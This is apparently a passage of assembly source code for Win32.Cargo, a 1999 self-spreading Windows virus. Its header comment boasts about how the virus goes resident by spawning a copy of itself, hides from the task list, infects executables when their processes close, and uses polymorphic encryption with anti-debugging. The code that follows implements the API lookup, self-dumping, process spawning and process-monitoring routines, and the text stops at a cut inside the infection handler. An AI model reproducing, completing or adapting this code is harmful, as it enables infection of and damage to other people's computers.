comment $

 北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

                                    WIN32

                    北北北  北北北  北北北 北北北  北北北
                    北      北  北  北  北 北      北  北
                    北      北北北  北北  北  北  北  北
                    北北北  北  北  北  北 北北北  北北北

                                by Lord Julus

                                   (C) 1999

 北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

        I  am  very  proud  to  present  you my first win32 resident virus. I
 usually don't like to fuss to much about my releases, but this time, I am so
 proud   of  this  release, that I cannot hold...;-) However, this virus will
 probably  not  spread  at all. The fact is it has a small bug. Actually it's
 not  quite  a  bug.  When I added the infection and the polymorphic engine I
 think  I lost a few checks here and there, so for some files it might crash.
 But,  as  I  completely  lost interest in this virus I release it like this.
 Test  it if you like. It will probably work for most files. However, my idea
 was  to  reach  the  fact  that  I  can do it. And now I know, win32 process
 spawning is a very weak way of going resident. I think that kernel infection
 will  be  more  reliable. My next baby will probably be based on that. Until
 then use this to see how I locate all running processes.

        Let  me tell you a little about the name of the virus. The name CARGO
 is  the  name  of  a  very good romanian hard&heavy band which I particulary
 like.  I  am pretty sure you will hate the fact that this virus caries CARGO
 lyrics  inside, but this was just the idea and I'd appreciate if nobody will
 remove  them.  The  idea  was to make the lyrics of CARGO float all over the
 world with this ship...

        Lets see now how is this virus different:

        When  an  infected application is started, the virus gets control and
 it's  first action is to dump the host (including the virus) to disk under a
 different name. This is one of the particularities of this virus; it doesn't
 have  another  copy  of  itself  carried  at  the  bottom somewhere to dump.
 Instead,  this virus takes action on the running file itself and dumps it to
 disk  under the name OGRAC.EXE. In order to do this much stuff must be taken
 care  of,  because,  as  you  know  the  sections of the file are aligned to
 section  alignment  when in memory, but on disk they must be aligned to file
 alignment.  The  virus makes all calculations and realignments and dumps the
 file to disk.

        After doing so, the new dumped file is ran with CreateProcess.

        In  order  to check residency 2 mutexes are used. First mutex is used
 for  the  spawned  copy. If the mutex exists then it is time for the spawned
 copy  to  install itself. If the second mutex exists, then we must return to
 host because we are already resident and installed.

        When  the virus starts going resident, first it changes the propriety
 of  itself by setting itself to REALTIME_PRIORITY_CLASS. Then, the API named
 RegisterServiceProcess is used to transform our process into a service, thus
 hiding  it from the windoze process list (CTRL-ALT-DEL). Then, furthure, the
 virus  creates  a  new  thread  in  the running process' area, and sets this
 thread's  priority  to TIME_CRITICAL, therefore giving the thread a 31 level
 of  priority.  Then,  the running thread falls asleep, waiting for the other
 thread to finish (by error, or by system shutdown).

        When  the  newly  created  thread  starts  executing,  the monitoring
 process  is  started.  For this, the virus is using the ToolHelp32 tools. It
 creates  a  so  called  snapshot  for  the  running processes, and using the
 Process32First  and  Process32Next  Apis  it  retrieves the names of all the
 processes  that  run  in  the system. The virus heavily uses GlobalAlloc and
 GloballReAlloc  to  optimize  the  used space. The running processes are put
 into a so called first array. Then the thread goes into an infinite loop and
 once  every  half a second goes and retrieves again the names of the running
 processes,  into  a  so called array #2. Then, the virus makes a comparision
 between  the  two  arrays.  If  the first array has items not present in the
 second  array,  it  means  that a process was shutdown. So, having it's full
 path saved in the first array, the virus opens the file and infects it. This
 goes  on  until  the system is shut down or a memory allocation error occurs
 (not likely to happen).

        Well,  after  much  tests and stuff, I removed the new thread thingie
 because  it  comes  to some problems... Now, only the process is spawned and
 the default thread is used...

        The  files are infected by adding to the last section.

        The  virus  is  protected by the MOF32 version 2.5 polymorphic engine
 and by a second layer of encryption using many antidebugging tricks.

        So, basically:

        ==================================================================
        Virus Name    - Win32.Cargo
        Virus Version - 1.0
        Virus Author  - Lord Julus
        Release Date  - 22/08/1999
        Platform      - win95/98
        Type          - Resident (process spawner)
        Targets       - Windows Portable Executable
        Appending     - Last section increase
        Searching     - Infect on process shutdown
        Encrypted     - Yes
        Polymorphic   - Yes
        Payload       - Yes, graphical on 7th every odd month, after 14:00
        ==================================================================

        Greetings: Firstly to JackyQwerty for helping me to solve the problem
 with  the  PROCESSENTRY32...  Never have guessed that!! ;-) Then to all SLAM
 members, and to all the rest cool guys out there!! Keep it up!

        Disclaimer:  THIS  SOURCE  CODE  WAS WRITTEN FOR EDUCATIONAL PURPOSES
 ONLY.  IT WAS NOT WRITTEN TO HARM OR DAMAGE ANY KIND OF DATA OR SYSTEMS. YOU
 ARE  USING,  COMPILING  OR  LINKING, THIS FREELY DISTRIBUTED SOURCE CODE, AT
 YOUR  OWN  WILL,  AND ANY DISTRIBUTION OR SPREAD OF THIS SOURCE CODE IN IT'S
 BINARY FORM CANNOT BE HELD AGAINS THE AUTHOR OF THIS SOURCE.

        E-mail with suggestions or bug reports to: lordjulus@geocities.com

                                            谀哪哪哪哪哪哪哪哪哪哪哪目
                                               Lord Julus (C) 1999  
                                            劳屯屯屯屯屯屯屯屯屯屯屯途
        $


;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

.586p
.model flat, stdcall
jumps

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

extrn MessageBoxA:proc
extrn ExitProcess:proc

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

TRUE            =       1              ;
FALSE           =       0              ;
                                       ;
DEBUG           =       FALSE          ; if debug = true, only TEST.EXE files
                                       ; are infected

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

.data
db 0

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

.code

start:                                             ;
       pushad                                      ; 60h and E9h = the only
                                                   ; two unecnrypted bytes!
jump_code:                                         ;
       jmp decrypt                                 ; call poly decryptor
                                                   ;
realstart:                                         ;
start_of_code:                                     ;
       nop                                         ;
       nop                                         ;
       popad                                       ;
       pushad                                      ;
       call getdelta                               ; get delta handle
                                                   ;
getdelta:                                          ;
       pop ebp                                     ;
       sub ebp, offset getdelta                    ;
       mov [ebp+delta], ebp                        ; save delta for later

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

      jmp over_1
      db   ' Aproape de voi',0ah,0dh
      db   '',0ah,0dh
      db   ' In seara asta vreau s beau,',0ah,0dh
      db   ' s uit de-orice nevoi...',0ah,0dh
      db   ' S sparg paharul si s zic:',0ah,0dh
      db   ' "Sunt acum, aici cu voi!"',0ah,0dh
      db   '',0ah,0dh
      db   ' Nu stiu c僼 timp mi-a mai ramas,',0ah,0dh
      db   ' dar vreau s mi-l petrec',0ah,0dh
      db   ' cu voi care mi-ati fost al唗uri',0ah,0dh
      db   ' la bine si la greu...',0ah,0dh
      db   '',0ah,0dh
      db   ' Inchin paharul si v spun:',0ah,0dh
      db   ' "宨 multumesc celui de sus,',0ah,0dh
      db   ' ca mi v-a dat prieteni buni,',0ah,0dh
      db   ' si nu singur pe acest drum!"',0ah,0dh
      db   '',0ah,0dh
      db   '         Si de-o fi si eu s mor,',0ah,0dh
      db   '         nu vreau s v intristati!!',0ah,0dh
      db   '         S c僴tati si s jucati pan-n zori...',0ah,0dh
      db   '         Si dac din c僴d 宯 c僴d',0ah,0dh
      db   '         o sa m priviti in g僴d,',0ah,0dh
      db   '         Voi Fi Aproape De Voi!!!!...',0ah,0dh,0
      over_1:

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

       lea eax, [ebp+ExceptionExit]                ; Setup a SEH frame
       push eax                                    ;
       push dword ptr fs:[0]                       ;
       mov fs:[0], esp                             ;

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

       mov eax, [esp+28h]                          ; first let's locate the
       lea edx, [ebp+kernel32_name]                ; kernel32 base address
       call LocateKernel32                         ;
       jc exit                                     ;
       mov dword ptr [ebp+k32], eax                ; save it...

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

       lea edx, dword ptr [ebp+getprocaddress]     ; then let's locate
       call LocateGetProcAddress                   ; GetProcAddress
       jc exit                                     ;

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

      jmp over_2
      db   ' Ziua Vr唈itoarelor',0ah,0dh
      db   '',0ah,0dh
      db   ' Frunzele fosneau,',0ah,0dh
      db   ' c僫nii toti urlau,',0ah,0dh
      db   ' c se ar唗au v價colaci...',0ah,0dh
      db   ' Iat ielele, vr唈itoarele, ursitoarele',0ah,0dh
      db   ' si multi draci!!',0ah,0dh
      db   '',0ah,0dh
      db   ' Azi e ziua lor, ziua ielelor,',0ah,0dh
      db   ' vr唈itoarelor p僴-n zori!!',0ah,0dh
      db   ' Iat se gonesc si se sf唗uiesc',0ah,0dh
      db   ' Oalele vorbesc hulitori,',0ah,0dh
      db   ' Boabe si furnici,',0ah,0dh
      db   ' Ierburi si urzici,',0ah,0dh
      db   ' tot ce e aici - m僴a lor...',0ah,0dh
      db   ' Dragoste si vis,',0ah,0dh
      db   ' chiar si paradis',0ah,0dh
      db   ' in palm ti-a scris soarta ta!',0ah,0dh
      db   '',0ah,0dh
      db   ' O... ai mare noroc!!!',0ah,0dh
      db   ' O... ghinioane de loc!!',0ah,0dh
      db   ' Tot ce vezi, s nu crezi,',0ah,0dh
      db   ' C asa ti-e soarta!!',0ah,0dh
      db   ' Poti s crezi dac vrei,',0ah,0dh
      db   ' VR廕ITOARELE!!',0ah,0dh,0
      over_2:
;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

       mov ebx, eax                                ; now let's locate all
       mov eax, dword ptr [ebp+k32]                ; the K32 apis we need
       lea edi, dword ptr [ebp+k32_names]          ; furthure...
       lea esi, dword ptr [ebp+k32_apis ]          ;
       call LocateApiAddresses                     ;
       jc exit

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

       lea edi, dword ptr [ebp+user32_name]        ; Locate USER32
       call LocateModuleBase                       ; module base
       jc exit                                     ;
       mov [ebp+u32], eax                          ;
       lea edi, dword ptr [ebp+u32_names]          ; and it's apis
       lea esi, dword ptr [ebp+u32_apis ]          ;
       call LocateApiAddresses                     ;
       jc exit                                     ;

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

       lea edi, dword ptr [ebp+gdi32_name]         ; Locate GDI32
       call LocateModuleBase                       ; module base
       jc exit                                     ;
       mov [ebp+g32], eax                          ;
       lea edi, dword ptr [ebp+g32_names]          ; and it's apis
       lea esi, dword ptr [ebp+g32_apis ]          ;
       call LocateApiAddresses                     ;
       jc exit                                     ;


;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

       call payload                                ; try payload
       call resident                               ; go resident
       jmp exit                                    ;

copyright db 0ah,0dh,0ah,0dh," Win32.CARGO V0.5 - A win32 resident virus "
          db 0ah,0dh,0ah,0dh," copyright Lord Julus (C) 1999             "

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
; Here we spawn the resident file, or handle the file checks
;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

resident proc near                           ;
      lea eax, [ebp+mutex]                   ; create a process relative
      push eax                               ; mutex by the name "cargo".
      push 1                                 ; If the mutex already existed
      push 0                                 ; it means we are already
      call [ebp+_CreateMutexA]               ; resident, otherwise we must
      call [ebp+_GetLastError]               ; go resident.
      or eax, eax                            ;
      jnz spawned                            ;
                                             ;
      lea esi, [ebp+jump_code]               ; kill the jump to poly decr.
      mov eax, dword ptr [esi+1]             ;
      mov [ebp+saved_jump], eax              ;
      mov dword ptr [esi+1], 0h              ; for the spawned copy...
                                             ;
      push 260                               ; get system directory to
      lea eax, [ebp+spawnname]               ; place the spawned file there
      push eax                               ;
      call [ebp+_GetSystemDirectoryA]        ;
      lea eax, [ebp+offset spawnfile]        ;
      push eax                               ;
      lea eax, [ebp+offset spawnname]        ;
      push eax                               ;
      call [ebp+_lstrcat]                    ;
                                             ;
      pushad                                 ;
      push 0                                 ; file attributes
      push 0                                 ; ""
      push 2                                 ; Create New File
      push 0                                 ; Security option = default
      push 1                                 ; File share for read
      push 80000000h or 40000000h            ; General write and read
      lea eax, [ebp+spawnname]               ;
      push eax                               ; pointer to filename
      Call [ebp+_CreateFileA]                ;
                                             ;
      cmp eax, -1                            ; failed to create?
      je exit                                ;
      mov [ebp+filehandle], eax              ;
      popad                                  ;

; Let's dump the running file to disk under the new name...

      mov esi, [ebp+imagebase]               ; first check that it is a
      cmp word ptr [esi], 'ZM'               ; valid MS-DOS file...
      jne exit                               ;
      cmp word ptr [esi.MZ_lfarlc], 40h      ; check the NewExe marker
      jne exit                               ;
      mov esi, [esi.MZ_lfanew]               ; locate PE header offset
      add esi, [ebp+imagebase]               ;
      push 200h                              ; check if we can read
      push esi                               ; the ammount of memo from there
      call [ebp+_IsBadReadPtr]               ;
      or eax, eax                            ;
      jnz exit                               ;
      cmp word ptr [esi], 'EP'               ; is it the PE header?
      jne exit                               ;
      xor eax, eax                           ;
      mov ax, [esi.NumberOfSections]         ; take number of sections
      push eax                               ; and remember them
      add esi, IMAGE_FILE_HEADER_SIZE        ; go to optional header
      mov edx, [esi.OH_FileAlignment]        ; save file alignment
      mov [ebp+filealign], edx               ;
      add esi, IMAGE_OPTIONAL_HEADER_SIZE    ; go to the first section header
      mov ecx, IMAGE_SECTION_HEADER_SIZE     ; multiplicator
      mul ecx                                ; obtain all section headers size
      mov edx, eax                           ; save it to edx
      push edx                               ; and save it on the stack
      add esi, eax                           ; go at the end
      push esi                               ; write down all the headers
      sub esi, [ebp+imagebase]               ; in the file to the new dest
      push 0                                 ; file.
      lea edx, [ebp+nob]                     ;
      push edx                               ;
      push esi                               ;
      push [ebp+imagebase]                   ;
      push [ebp+filehandle]                  ;
      call [ebp+_WriteFile]                  ;
      pop esi                                ;
                                             ;
      pop edx                                ; restore section headers size
      pop ecx                                ; cx = number of sections
      sub esi, edx                           ; go to the first section header
                                             ;
      pushad                                 ; save all regs
                                             ;
      pushad                                 ; save all regs
      mov edi, 09999999h                     ; now we will try to locate the
                                             ; smallest PointerToRawData to
locate_smallest_pointer:                     ; know which section body comes
      mov eax, [esi.SH_PointerToRawData]     ; first, in case they are
      cmp eax, edi                           ; mangled relative to their
      jnb still_smaller                      ; headers.
      xchg eax, edi                          ;
                                             ;
still_smaller:                               ;
      add esi, IMAGE_SECTION_HEADER_SIZE     ;
      loop locate_smallest_pointer           ;
      mov [ebp+temp], edi                    ;
      popad                                  ; restore registers
                                             ;
      push ecx                               ;
      push edx                               ;
      push 1                                 ;
      push 0                                 ;
      push 0                                 ;
      push [ebp+filehandle]                  ;
      call [ebp+_SetFilePointer]             ; get in EAX how much we wrote
      pop edx                                ; already in the destination
      pop ecx                                ; file.
                                             ;
      mov edi, [ebp+temp]                    ; EDI is the first data offset
      sub edi, eax                           ; and we must pad with the
      add esi, edx                           ; difference!!
                                             ;
      push 0                                 ;
      lea eax, [ebp+nob]                     ;
      push eax                               ;
      push edi                               ;
      push esi                               ;
      push [ebp+filehandle]                  ;
      call [ebp+_WriteFile]                  ; write difference!!
                                             ;
      popad                                  ; restore regs
                                             ;
                                             ;
section_dump_loop:                           ; now let's dump the sections
      push ecx                               ; bodies.
      mov edi, [esi.SH_VirtualAddress]       ; take it from memory, aligned
      add edi, [ebp+imagebase]               ; to imagebase
      mov eax, dword ptr [esi.SH_VirtualSize]; now choose the smallest between
      mov ecx, dword ptr [esi.SH_SizeOfRawData]; VirtualSize and SizeOfRawData
      cmp ecx, eax                           ; to solve the Borland/MicroSoft
      jnb ok_                                ; difference in linking.
      xchg eax, ecx                          ;
                                             ;
ok_:                                         ;
      mov ecx, [ebp+filealign]               ; now we must align the size
      push eax                               ; before alignment to the
      push ecx                               ; file alignment, because in
      xor edx, edx                           ; memory it was aligned to
      div ecx                                ; section alignment
      cmp edx, 0                             ;
      jne more                               ;
      pop ecx                                ;
      pop eax                                ;
      jmp no_more                            ;
                                             ;
more:                                        ;
      pop ecx                                ;
      sub ecx, edx                           ;
      pop eax                                ;
      add eax, ecx                           ; eax= size aligned
                                             ;
no_more:                                     ;
      push 0                                 ; write the section to the
      lea ecx, [ebp+nob]                     ;
      push ecx                               ; file...
      push eax                               ;
      push edi                               ;
      push [ebp+filehandle]                  ;
      call [ebp+_WriteFile]                  ;
                                             ;
      pop ecx                                ; restore index
      add esi, IMAGE_SECTION_HEADER_SIZE     ; get next section...
      loop section_dump_loop                 ;
                                             ;
      push [ebp+filehandle]                  ; close destination file!
      call [ebp+_CloseHandle]                ;
                                             ;

; The resulting file will be smaller than the original because no filesize
; padding is done.
                                              ;
go_res:                                       ; let's go resident!
       lea eax, [ebp+startupinfo]             ;
       push eax                               ; get the startup info
       call [ebp+_GetStartupInfoA]            ;
                                              ;
       lea eax, [ebp+processinfo]             ;
       push eax                               ; and spawn ourselves
       lea eax, [ebp+startupinfo]             ;
       push eax                               ;
       push 0                                 ;
       push 0                                 ;
       push 67108928h                         ;
       push 0                                 ; do not inherit handles
       push 0                                 ;
       push 0                                 ;
       lea eax, [ebp+spawnname]               ;
       push eax                               ;
       push 0                                 ;
       call [ebp+_CreateProcessA]             ; Run the Process!!
                                              ;
       lea esi, [ebp+processinfo]             ; close the new process handle
       push [esi.PI_hProcess]                 ;
       call [ebp+_CloseHandle]                ;
                                              ;
       push 1000                              ; allow new process to start
       call [ebp+_Sleep]                      ;
                                              ;
       jmp exit                               ; return to host!

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北


;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

; Here is where the resident proggy goes on... No return to host will
; occure...

spawned:                                     ;
      lea eax, [ebp+mutex2]                  ; create a process relative
      push eax                               ; mutex by the name "ograc".
      push 1                                 ; If the mutex already existed
      push 0                                 ; it means we are already
      call [ebp+_CreateMutexA]               ; resident, otherwise we must
      call [ebp+_GetLastError]               ; quit!
      or eax, eax                            ;
      jnz exit                               ;

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
      jmp over_4
      db   ' Anarhia',0ah,0dh
      db   '',0ah,0dh
      db   ' Noapte crunt de betie',0ah,0dh
      db   ' Pan-n zori de zi s fie',0ah,0dh
      db   ' Unde-i vodca si r哻hia,',0ah,0dh
      db   ' ca s-nceap ANARHIA, 宯 Rom僴ia!!!',0ah,0dh,0
      over_4:
;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

       mov eax, dword ptr [ebp+saved_jump]    ; restore jump code. Was killed
       lea esi, [ebp+jump_code]               ; for the spawned copy which is
       mov dword ptr [esi+1], eax             ; not encrypted

       call [ebp+_GetCurrentProcess]  ; get then current process handle
       push 100h                      ; realtime priority class
       push eax                       ; handle of current process
       call [ebp+_SetPriorityClass]   ; set priority to realtime
                                      ;
       push 1                         ; Register the current running
       push 0                         ; process as a service.
       call [ebp+_RegisterServiceProcess];
                                      ;
                                      ;
      mov [ebp+firstsize], 0          ; reset the memory size of both arrays
      mov [ebp+secondsize], 0         ; to 0.

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
                                     ;
VirusThread proc near                ; This is the resident part.
       mov [ebp+error], 0            ; error flag
                                     ;
again_again:                         ;
       call FillFirstArray           ; Create the first process names array
                                     ;
again:                               ;
       cmp [ebp+error], 1            ; if there was an error, abort!
       je exit_thread                ;
       push 500                      ;
       call [ebp+_Sleep]             ; sleep half a second
       call FillSecondArray          ; Create the second process names array
       call CompareArrays            ; compare the arrays
       jnc again                     ; and loop...
       jmp again_again               ;
                                     ;
exit_thread:                         ;
       push 0                        ; finish current thread...
       call [ebp+_ExitProcess]       ;
;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
      jmp over_5
      db   ' Apocalipsa',0ah,0dh
      db   '',0ah,0dh
      db   ' Doamne..., uit-te, d-ne putere acum!~...',0ah,0dh
      db   ' Ajut-ne s trecem, s nu ne abatem din drum!!',0ah,0dh
      db   '',0ah,0dh
      db   ' Parc totul e',0ah,0dh
      db   ' tot mai tulbure...',0ah,0dh
      db   ' Crucea-i tot mai grea',0ah,0dh
      db   ' si lumea pare a fi mai rea!',0ah,0dh
      db   '',0ah,0dh
      db   ' Zilele-s mai reci,',0ah,0dh
      db   ' morile sunt zeci...',0ah,0dh
      db   ' Oameni mor mai multi',0ah,0dh
      db   ' iar cei vii parc sunt pierduti...',0ah,0dh
      db   '',0ah,0dh
      db   ' Luptele-s mai crunte,',0ah,0dh
      db   ' nedrept唗i sunt multe...',0ah,0dh
      db   ' Omenirea e 宯 chin,',0ah,0dh
      db   ' Toti cei ce stiu 宯 sange au venin!',0ah,0dh
      db   '',0ah,0dh
      db   ' O...! c僼 om sta 宯 noroi!!!...',0ah,0dh
      db   ' Num唕ul fiarei 宯 noi!!!...',0ah,0dh
      db   ' Palma ti-e scris pe geam...',0ah,0dh
      db   ' Trei de 6-n ea!!!',0ah,0dh,0
      over_5:
;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

FillFirstArray proc near             ; Here we will call the walk procedure
       pushad                        ; in order to fill the first array
                                     ;
       cmp [ebp+firstmemo], 0        ; free memory only if it was
       je nope1                      ; already allocated...
       push [ebp+firstmemo]          ; If we free the first memory area,
       call [ebp+_GlobalFree]        ; then we *must* free the second memory
                                     ; area again, otherwise next time we
nope1:                               ; need more memory, the GlobalReAlloc
       cmp [ebp+secondmemo], 0       ; will fail because not enough free
       je nope2                      ; *contigous* memory will be available.
       push [ebp+secondmemo]         ;
       call [ebp+_GlobalFree]        ;
                                     ;
nope2:                               ;
       call WalkProcesses            ;
       mov eax, [ebp+temp_mem_ptr]   ; save the pointer to the memory area
       mov [ebp+firstmemo], eax      ;
       mov eax, [ebp+temp_mem_sze]   ; and the size of the memory
       mov [ebp+firstsize], eax      ;
       popad                         ;
       ret                           ;
FillFirstArray endp                  ;
                                     ;
FillSecondArray proc near            ; This is the same thing, but for the
       pushad                        ; second memory array.
                                     ;
       cmp [ebp+secondmemo], 0       ;
       je nope3                      ;
       push [ebp+secondmemo]         ;
       call [ebp+_GlobalFree]        ;
                                     ;
nope3:;                              ;
       call WalkProcesses            ;
       mov eax, [ebp+temp_mem_ptr]   ;
       mov [ebp+secondmemo], eax     ;
       mov eax, [ebp+temp_mem_sze]   ;
       mov [ebp+secondsize], eax     ;
       popad                         ;
       ret                           ;
FillSecondArray endp                 ;
                                     ;
WalkProcesses proc near              ; Get the running processes...
      push 0                         ; snap for the current process
      push 2                         ; snap processes
      call [ebp+_CreateToolhelp32Snapshot]  ; create toolhelp handle
      mov [ebp+t32h], eax            ; save toolhelp handle
      cmp eax, -1                    ; was it a failure?
      je exit                        ;
                                     ;
      lea eax, [ebp+process32]       ; point the process32 structure
      push eax                       ;
      mov ecx, dword ptr [ebp+t32h]  ;
      push ecx                       ;
      call [ebp+_Process32First]     ; get first process
      or eax, eax                    ; no process?
      jz exit                        ; (thx JQwerty for the bug solving!)
                                     ;
      call init_memo                 ; init memory array!
      cmp [ebp+error], 1             ; if error, it means we don't have
      je no_next                     ; enough memory...
                                     ;
next:                                ;
      lea eax, [ebp+process32]       ; get next process
      push eax                       ;
      mov ecx, dword ptr [ebp+t32h]  ;
      push ecx                       ;
      call [ebp+_Process32Next]      ;
      or eax, eax                    ;
      jz no_next                     ;
      call incr_memo                 ; increment memory array!
      cmp [ebp+error], 1             ;
      je no_next                     ;
      jmp next                       ;
                                     ;
no_next:                             ;
      push [ebp+t32h]                ; close the toolhelp handle...
      call [ebp+_CloseHandle]        ;
      ret                            ;
                                     ;
init_memo:                           ; Here we init the memory array
       lea esi, [ebp+process32]      ; get pointer to process data
       lea ebx, [esi.szExeName]      ; get pointer to name
       push ebx                      ; save it...
       call [ebp+_lstrlen]           ; get length of name
       inc eax                       ; +1 for terminatorZ
       mov [ebp+temp_mem_sze], eax   ; initiate memory size
       push eax                      ; size to allocate
       push 040h                     ; fixed memory and zeroed
       call [ebp+_GlobalAlloc]       ; allocate memory
       cmp eax, 0                    ; if error, set error flag...
       jne no_error1                 ;
       mov [ebp+error], 1            ;
       ret                           ;
                                     ;
no_error1:                           ;
       mov [ebp+temp_mem_ptr], eax   ; save memory handle
       push ebx                      ; source -> process path+name
       push eax                      ; destination -> memory
       call [ebp+_lstrcpy]           ; copy file name to memory
       ret                           ;
                                     ;
incr_memo:                           ; Here we add names to memory
       lea esi, [ebp+process32]      ; get pointer to the process data
       lea ebx, [esi.szExeName]      ; get pointer to the process name
       push ebx                      ; save pointer
       call [ebp+_lstrlen]           ; get length of name
       inc eax                       ; +terminatorZ
       add [ebp+temp_mem_sze], eax   ; increase memory size
       mov edx, eax                  ; save increasement
       push edx                      ;
       push 40h                      ; fixed memory
       push [ebp+temp_mem_sze]       ; new size
       push [ebp+temp_mem_ptr]       ; memory handle
       call [ebp+_GlobalReAlloc]     ; Reallocate new memory size
       cmp eax, 0                    ; error?
       jne no_error2                 ;
       mov [ebp+error], 1            ;
       pop edx                       ;
       ret                           ;
                                     ;
no_error2:                           ;
       mov eax, [ebp+temp_mem_sze]   ; now locate the end of the previous
       pop edx                       ; memory, which leads us right after
       sub eax, edx                  ; the last terminatorZ, where we need
       mov esi, [ebp+temp_mem_ptr]   ; to add the new file name...
       add esi, eax                  ; go to the new empty space
       push ebx                      ; source
       push esi                      ; destination
       call [ebp+_lstrcpy]           ; and insert the new name there
       ret                           ;
WalkProcesses endp                   ;
;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
      jmp over_6
      db   ' Batacanda',0ah,0dh
      db   '',0ah,0dh
      db   ' Ceata de nomazi,',0ah,0dh
      db   ' tind spre munti...',0ah,0dh
      db   '',0ah,0dh
      db   ' Cetele rasun,',0ah,0dh
      db   ' ei 宯 cerc se-adun',0ah,0dh
      db   ' si pornesc nebuna BATACANDA!!!',0ah,0dh
      db   '',0ah,0dh
      db   ' S僴gele-i in clocot,',0ah,0dh
      db   ' chiote si hohot,',0ah,0dh
      db   ' 宯sotesc s唋batic BATACANDA!!!',0ah,0dh
      db   '',0ah,0dh
      db   ' Focul arde',0ah,0dh
      db   ' si miros de fum,',0ah,0dh
      db   ' noatea cade,',0ah,0dh
      db   ' dar ei danseaz BATACANDA!!',0ah,0dh,0
      over_6:
;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
                                     ;
CompareArrays proc near              ;
       mov esi, [ebp+firstmemo]      ; point first array
       mov ecx, [ebp+firstsize]      ; and its size
       call get_item_no              ; and get the number of items
       mov [ebp+firstindex], eax     ; save the no. of items in the array#1
       mov esi, [ebp+secondmemo]     ; point second array
       mov ecx, [ebp+secondsize]     ; and its size
       call get_item_no              ; and get number of items
       mov [ebp+secondindex], eax    ; save the no. of items in the array#2
                                     ;
       mov ecx, [ebp+firstindex]     ; scan until first index
       mov esi, [ebp+firstmemo]      ;
       mov edi, [ebp+secondmemo]     ;
       mov [ebp+flag], 0             ;
                                     ;
first_array_scan:                    ;
       push ecx                      ; save index
                                     ;
       mov ecx, [ebp+secondindex]    ; get second index
       mov edi, [ebp+secondmemo]     ;
                                     ;
second_array_scan:                   ;
       push ecx                      ; save second index
       mov edx, esi                  ; save name
       mov [ebp+flag], 0             ;
       push esi                      ; get length of one string in array#1
       call [ebp+_lstrlen]           ;
       inc eax                       ;
       mov ecx, eax                  ;
       rep cmpsb                     ; is it in array#2 also?
       je name_found                 ; ok
                                     ;
name_not_found:                      ; if name is not found, get another
       xor eax, eax                  ; locate next name in the array#2
       mov ecx, 1000                 ;
       repnz scasb                   ;
       mov esi, edx                  ; restore name to scan
       jmp continue_loop             ;
                                     ;
name_found:                          ;
       pop ecx                       ; if name is found force exit from the
       push 1                        ; loop...
       mov [ebp+flag], 1             ; and mark the flag!
                                     ;
continue_loop:                       ;
       pop ecx                       ; restore and...
       loop second_array_scan        ; ...loop
       cmp [ebp+flag], 0             ; if flag is still 0 we didn't find one
       je One_item_missing           ; item in array#2
                                     ;
       pop ecx                       ; restore first index
       loop first_array_scan         ; and loop
       jmp All_items_match           ;
                                     ;
One_item_missing:                    ; one item missing from array#2
       pop ecx                       ; get it off the stack
       mov eax, edx                  ; go and handle it!
       call HandleClosedProcess      ;
       stc                           ;
       jmp quit                      ;
                                     ;
All_items_match:                     ; If all items match, but the array#2
       mov eax, [ebp+secondindex]    ; is bigger then array#1 then more
       cmp eax, [ebp+firstindex]     ; processes were opened so we must
       ja setcarry                   ; rescan...
       clc                           ;
       ret                           ;
                                     ;
setcarry:                            ;
       stc                           ;
                                     ;
quit:                                ;
       ret                           ;
CompareArrays endp                   ;
                                     ;
get_item_no proc near                ; here we simply locate the number of
       xor eax, eax                  ; terminatorZ we find, giving us the
       inc esi                       ; number of asciiz strings.
                                     ;
count_loop:                          ;
       cmp byte ptr [esi], 0         ;
       jne no_match                  ;
       cmp byte ptr [esi-1], 0       ; skip final zero...
       je quit_now                   ;
       inc eax                       ;
                                     ;
no_match:                            ;
       inc esi                       ;
       loop count_loop               ;
                                     ;
quit_now:                            ;
       ret                           ;
get_item_no endp                     ;
                                     ;
HandleClosedProcess proc near        ; When we are here, eax points the
       pushad                        ; name of a valid win32 file which can
                                     ; be handled.
       push eax                      ;
                                     ;
       IF DEBUG                      ; if debug is on, you can remove
       mov esi, eax                  ; Cargo from memory by running any
       push eax                      ; application called KILL.EXE.
       call [ebp+_lstrlen]           ;
       add esi, eax                  ;
       sub esi, 8                    ;
       cmp [esi], 'LLIK'             ;
       jne no_quit                   ;
       mov [ebp+error], 1            ;
       jmp no_infection              ;
                                     ;
no_quit:                             ;
       pop eax                       ;
       push eax                      ;
       mov esi, eax                  ;
       push eax                      ;
       call [ebp+_lstrlen]           ;
       add esi, eax                  ;
       sub esi, 8                    ;
       cmp [esi], 'TSET'             ;
       jne no_infection              ;
       ENDIF                         ;
                                     ;
       pop eax                       ;
       mov esi, eax                  ;
